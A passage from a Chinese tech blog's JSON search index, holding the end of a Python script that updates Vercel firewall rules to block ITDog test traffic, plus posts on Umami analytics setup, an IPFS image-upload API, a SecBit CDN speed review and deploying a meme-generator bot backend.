去重\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    unique_ips \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e list(set(ips))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;去重后共有 \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003elen(unique_ips)\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e 个唯一IP地址/CIDR网段\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# 分组\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ip_chunks \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e chunk_ips(unique_ips)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;IP地址被分为 \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003elen(ip_chunks)\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e 组\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e i, chunk \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e enumerate(ip_chunks, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;第 \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003ei\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e 组: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003elen(chunk)\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e 个IP/CIDR\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# 创建条件组\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    condition_groups \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e create_condition_groups(ip_chunks)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# 创建请求负载\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    payload \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e create_request_payload(condition_groups)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# 发送请求\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    success \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e send_request(payload)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e success:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e🎉 防火墙规则更新成功!\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e💥 防火墙规则更新失败!\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        sys\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eexit(\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e __name__ \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    main()\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e示例ip.txt\u003c/p\u003e","title":"配置Vercel让ITDog测试全部403！"},{"content":"正式开始 本教程针对于Umami Cloud的上手使用，如果你需要自托管Umami请自行寻找相关文档\n进入 https://umami.is/ （如果进不去请检查是否有广告拦截器拦截了Umami！！！）\n点击右上角的 Sign UP 注册账号\n按需填写相关信息进行注册\n然后检查你的邮箱，是否收到了Umami的邮箱验证消息\n点击 Login 进行登录，填入验证码\n区域选择任意（选美国你的统计数据就记录在美国的服务器，选欧盟你的统计数据就记录在欧盟的服务器）\n用户配置随便填写即可\n继续填写你要统计的网站\n将跟踪代码插入到你的网站的 \u0026lt;head\u0026gt;Umami跟踪代码\u0026lt;/head\u0026gt; 中\n然后我们就进入Umami控制台了\n点击 View 就能看到你的网站统计啦\n注：右上角可以改为中文\n建议打开设置启用分享URL，这样你的用户就可以实时看到你的站点流量啦\n注意事项 Umami Cloud对于免费用户限制3个站点\n免费版月事件数为10w，本人博客感觉不够用，已经自建了，教程可以看我b站，没有就是没发 来拷打我\n","permalink":"https://blog.2x.nz/posts/umami/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e本教程针对于Umami Cloud的上手使用，如果你需要自托管Umami请自行寻找相关文档\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e进入 \u003ca href=\"https://umami.is/\"\u003ehttps://umami.is/\u003c/a\u003e （如果进不去请检查是否有广告拦截器拦截了Umami！！！）\u003c/p\u003e\n\u003cp\u003e点击右上角的 \u003ccode\u003eSign UP\u003c/code\u003e 注册账号\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/3486d3c9-ab00-46d2-b8bf-4916fe8045bf.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e按需填写相关信息进行注册\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/adcb3e73-bd1d-4c6d-9ad2-c6ba2b17441d.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/f6ff9d8a-e281-4f36-a917-686264479a5d.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后检查你的邮箱，是否收到了Umami的邮箱验证消息\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/50877413-0dcf-4229-b388-dc0ae4634414.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e点击 \u003ccode\u003eLogin\u003c/code\u003e 进行登录，填入验证码\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/29321cee-f0a7-4d3b-9d1b-b507d34d3958.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e区域选择任意（选美国你的统计数据就记录在美国的服务器，选欧盟你的统计数据就记录在欧盟的服务器）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/e7d5daaa-032a-4587-bd68-3d4194e88555.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e用户配置随便填写即可\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/b22a2c6b-43a0-4da8-b7f7-25b58f9118e7.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e继续填写你要统计的网站\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/bf3b74be-26d7-4618-8b22-72cab03ec22f.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e将跟踪代码插入到你的网站的 \u003ccode\u003e\u0026lt;head\u0026gt;Umami跟踪代码\u0026lt;/head\u0026gt;\u003c/code\u003e 中\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/e58f4825-573c-4faf-8619-79c5eb194abe.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后我们就进入Umami控制台了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/6318e324-5a2a-47c8-8ab9-982131f2eb5b.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e点击 \u003ccode\u003eView\u003c/code\u003e 就能看到你的网站统计啦\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/8ab369ca-767e-4783-a38f-35f8ae59c654.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e注：右上角可以改为中文\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/9f32167c-d522-41a2-805b-202a97e91dfe.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e建议打开设置启用分享URL，这样你的用户就可以实时看到你的站点流量啦\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/21681684-8a26-4d15-8d3e-c51183febaf0.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"注意事项\"\u003e注意事项\u003c/h1\u003e\n\u003cp\u003eUmami Cloud对于免费用户限制3个站点\u003c/p\u003e\n\u003cp\u003e免费版月事件数为10w，本人博客感觉不够用，已经自建了，教程可以看我b站，没有就是没发 \u003cdel\u003e来拷打我\u003c/del\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami/img/d574dbd5-f095-469a-9db6-da7fdfdc08c2.webp\"\u003e\u003c/p\u003e","title":"让你的网站对接高级的Umami统计！"},{"content":"正式开始 该API为xLog的图床API\nPOST https://ipfs-relay.crossbell.io/upload\n头无鉴权\nbody使用 from-data ，key为 file vlaue选择一个图片文件，不宜太大，会报错\n示例Curl\ncurl --location \u0026#39;https://ipfs-relay.crossbell.io/upload\u0026#39; \\ --form \u0026#39;file=@\u0026#34;/C:/Users/AcoFork/Pictures/b_53bb4f7fa91d684e72b666504e3fcc1897.webp\u0026#34;\u0026#39; 会返回\n{ \u0026#34;status\u0026#34;: \u0026#34;ok\u0026#34;, \u0026#34;cid\u0026#34;: \u0026#34;QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;ipfs://QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc\u0026#34;, \u0026#34;web2url\u0026#34;: \u0026#34;https://ipfs.crossbell.io/ipfs/QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc\u0026#34;, \u0026#34;fileSize\u0026#34;: \u0026#34;77199\u0026#34;, \u0026#34;gnfd_id\u0026#34;: null, \u0026#34;gnfd_txn\u0026#34;: null } 其中， web2url 就是可以直接访问的URL，无CORS限制\n","permalink":"https://blog.2x.nz/posts/ipfs-api/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e该API为\u003ca href=\"https://xlog.app\"\u003exLog\u003c/a\u003e的图床API\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003ePOST \u003ca href=\"https://ipfs-relay.crossbell.io/upload\"\u003ehttps://ipfs-relay.crossbell.io/upload\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e头无鉴权\u003c/p\u003e\n\u003cp\u003ebody使用 \u003ccode\u003efrom-data\u003c/code\u003e ，key为 \u003ccode\u003efile\u003c/code\u003e vlaue选择一个图片文件，不宜太大，会报错\u003c/p\u003e\n\u003cp\u003e示例Curl\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl --location \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;https://ipfs-relay.crossbell.io/upload\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e\u003c/span\u003e--form \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;file=@\u0026#34;/C:/Users/AcoFork/Pictures/b_53bb4f7fa91d684e72b666504e3fcc1897.webp\u0026#34;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e会返回\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;status\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;ok\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;cid\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;url\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;ipfs://QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;web2url\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://ipfs.crossbell.io/ipfs/QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;fileSize\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;77199\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;gnfd_id\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enull\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;gnfd_txn\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enull\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中， \u003ccode\u003eweb2url\u003c/code\u003e 就是可以直接访问的URL，无CORS限制\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://eo-r2.2x.nz/myblog/img/Qmb7hj9NHf9XdSZQ2dsqcSUpdrTuhjbpKJsTqG84X7rFqw.webp\"\u003e\u003c/p\u003e","title":"分享一个IPFS图片API"},{"content":"官网 https://secbit.ai\n测试节点信息 安徽合肥移动家宽（本人电脑）\nPostMan GET测试 测试Cloudflare R2默认的404页面HTML需要多长时间可以接收到\n直连Cloudflare R2 Secbit回源Cloudflare R2 ITDog Tcping测试 直连Cloudflare R2 Secbit回源Cloudflare R2 ITDog 网站测速 直连Cloudflare R2 Secbit回源Cloudflare R2 大文件下载 直连Cloudflare R2 Secbit回源Cloudflare R2 总结 Secbit相较于Cloudflare对于大陆直连更为友好，延迟更低、带宽更大。唯一的缺点就是直接买很贵，也建议大家可以多多写博客，网站月ip达到3k可以看置顶文章加群联系我帮你申请，争取早日拿到属于你们的Secbit😋\n","permalink":"https://blog.2x.nz/posts/secbit/","summary":"\u003ch1 id=\"官网\"\u003e官网\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://secbit.ai\"\u003ehttps://secbit.ai\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"测试节点信息\"\u003e测试节点信息\u003c/h1\u003e\n\u003cp\u003e安徽合肥移动家宽（本人电脑）\u003c/p\u003e\n\u003ch1 id=\"postman-get测试\"\u003ePostMan GET测试\u003c/h1\u003e\n\u003cp\u003e测试Cloudflare R2默认的404页面HTML需要多长时间可以接收到\u003c/p\u003e\n\u003ch2 id=\"直连cloudflare-r2\"\u003e直连Cloudflare R2\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/secbit/img/5eaa947d-9363-4eac-b375-0c3830614571.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"secbit回源cloudflare-r2\"\u003eSecbit回源Cloudflare R2\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/secbit/img/e1986e03-7b69-467a-92f0-cea88c118924.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"itdog-tcping测试\"\u003eITDog Tcping测试\u003c/h1\u003e\n\u003ch2 id=\"直连cloudflare-r2-1\"\u003e直连Cloudflare R2\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/secbit/img/6c8efb56-4fe8-44d5-82e2-45ca063014b1.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"secbit回源cloudflare-r2-1\"\u003eSecbit回源Cloudflare R2\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/secbit/img/a4654458-3b03-4ec3-9cfc-9d94615abaf9.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"itdog-网站测速\"\u003eITDog 网站测速\u003c/h1\u003e\n\u003ch2 id=\"直连cloudflare-r2-2\"\u003e直连Cloudflare R2\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/secbit/img/2bb7aee3-9ae7-48e8-bef7-37dbe0c8818c.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"secbit回源cloudflare-r2-2\"\u003eSecbit回源Cloudflare R2\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/secbit/img/1a9a1ce4-720f-48dc-8fb7-8a9822caed68.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"大文件下载\"\u003e大文件下载\u003c/h1\u003e\n\u003ch2 id=\"直连cloudflare-r2-3\"\u003e直连Cloudflare R2\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/secbit/img/6887e3eb-59cf-41ce-bda4-31b0ffc87c5a.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"secbit回源cloudflare-r2-3\"\u003eSecbit回源Cloudflare R2\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/secbit/img/3328a47b-417a-4ba0-b3b8-5013c1ef89bf.webp\"\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"总结\"\u003e总结\u003c/h1\u003e\n\u003cp\u003eSecbit相较于Cloudflare对于大陆直连更为友好，延迟更低、带宽更大。唯一的缺点就是直接买很贵，也建议大家可以多多写博客，\u003cstrong\u003e网站月ip达到3k可以看置顶文章加群联系我帮你申请\u003c/strong\u003e，争取早日拿到属于你们的Secbit😋\u003c/p\u003e","title":"测评一下SecBit MCDN HK区域的质量"},{"content":"正式开始 视频教程： https://www.bilibili.com/video/BV1i53PzUEzE/\n后端部署 Github： https://github.com/MemeCrafters/meme-generator\n安装依赖\npip install -U \u0026#34;meme_generator\u0026lt;0.2.0\u0026#34; 克隆仓库\ngit clone https://github.com/MemeCrafters/meme-generator 克隆额外表情仓库\ngit clone https://github.com/MemeCrafters/meme-generator-contrib git clone https://github.com/anyliew/meme_emoji 前往 ~/.config/meme_generator/config.toml 填入配置文件。并且填入刚刚克隆的额外表情仓库： meme_dirs\n[meme] load_builtin_memes = true # 是否加载内置表情包 meme_dirs = [\u0026#34;/root/meme-api/meme-generator-contrib/memes\u0026#34;, \u0026#34;/root/meme-api/meme_emoji/emoji\u0026#34;] # 加载其他位置的表情包，填写文件夹路径 meme_disabled_list = [] # 禁用的表情包列表，填写表情的 `key` [resource] # 下载内置表情包图片时的资源链接，下载时选择最快的站点 resource_urls = [ \u0026#34;https://raw.githubusercontent.com/MemeCrafters/meme-generator/\u0026#34;, \u0026#34;https://mirror.ghproxy.com/https://raw.githubusercontent.com/MemeCrafters/meme-generator/\u0026#34;, \u0026#34;https://cdn.jsdelivr.net/gh/MemeCrafters/meme-generator@\u0026#34;, \u0026#34;https://fastly.jsdelivr.net/gh/MemeCrafters/meme-generator@\u0026#34;, \u0026#34;https://raw.gitmirror.com/MemeCrafters/meme-generator/\u0026#34;, ] [gif] gif_max_size = 10.0 # 限制生成的 gif 文件大小，单位为 Mb gif_max_frames = 100 # 限制生成的 gif 文件帧数 [translate] baidu_trans_appid = \u0026#34;\u0026#34; # 百度翻译api相关，表情包 `dianzhongdian` 需要使用 baidu_trans_apikey = \u0026#34;\u0026#34; # 可在 百度翻译开放平台 (http://api.fanyi.baidu.com) 申请 [server] host = \u0026#34;127.0.0.1\u0026#34; # web server 监听地址 port = 2233 # web server 端口 [log] log_level = \u0026#34;INFO\u0026#34; # 日志等级 运行\npython -m meme_generator.app 看到以下日志即运行成功\nroot@AcoFork-NAS:~/meme-api/meme-generator# python3 -m meme_generator.app Fontconfig warning: \u0026#34;/usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf\u0026#34;, line 6: unknown element \u0026#34;reset-dirs\u0026#34; 06-30 05:32:45 [INFO] meme_generator.log | Config file path: /root/.config/meme_generator/config.toml 06-30 05:32:48 [INFO] logging | Started server process [3363901] 06-30 05:32:48 [INFO] logging | Waiting for application startup. 06-30 05:32:48 [INFO] logging | Application startup complete. 06-30 05:32:48 [INFO] logging | Uvicorn running on http://127.0.0.1:2233 (Press CTRL+C to quit) 前端对接 Koishi插件市场安装此插件的1.0.3版本\n启用插件。可以看到 插件初始化完毕，共载入 455 个表情。\n使用 向Bot发送 表情列表\n生成表情\n","permalink":"https://blog.2x.nz/posts/meme-api/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e视频教程： \u003ca href=\"https://www.bilibili.com/video/BV1i53PzUEzE/\"\u003ehttps://www.bilibili.com/video/BV1i53PzUEzE/\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"后端部署\"\u003e后端部署\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eGithub： \u003ca href=\"https://github.com/MemeCrafters/meme-generator\"\u003ehttps://github.com/MemeCrafters/meme-generator\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e安装依赖\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epip install -U \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;meme_generator\u0026lt;0.2.0\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e克隆仓库\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit clone https://github.com/MemeCrafters/meme-generator\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e克隆额外表情仓库\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit clone https://github.com/MemeCrafters/meme-generator-contrib\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit clone https://github.com/anyliew/meme_emoji\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e前往 \u003ccode\u003e~/.config/meme_generator/config.toml\u003c/code\u003e 填入配置文件。并且填入刚刚克隆的额外表情仓库： \u003ccode\u003ememe_dirs\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-toml\" data-lang=\"toml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#a6e22e\"\u003ememe\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eload_builtin_memes\u003c/span\u003e = \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# 是否加载内置表情包\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ememe_dirs\u003c/span\u003e = [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/root/meme-api/meme-generator-contrib/memes\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/root/meme-api/meme_emoji/emoji\u0026#34;\u003c/span\u003e]  \u003cspan style=\"color:#75715e\"\u003e# 加载其他位置的表情包，填写文件夹路径\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ememe_disabled_list\u003c/span\u003e = []  \u003cspan style=\"color:#75715e\"\u003e# 禁用的表情包列表，填写表情的 `key`\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 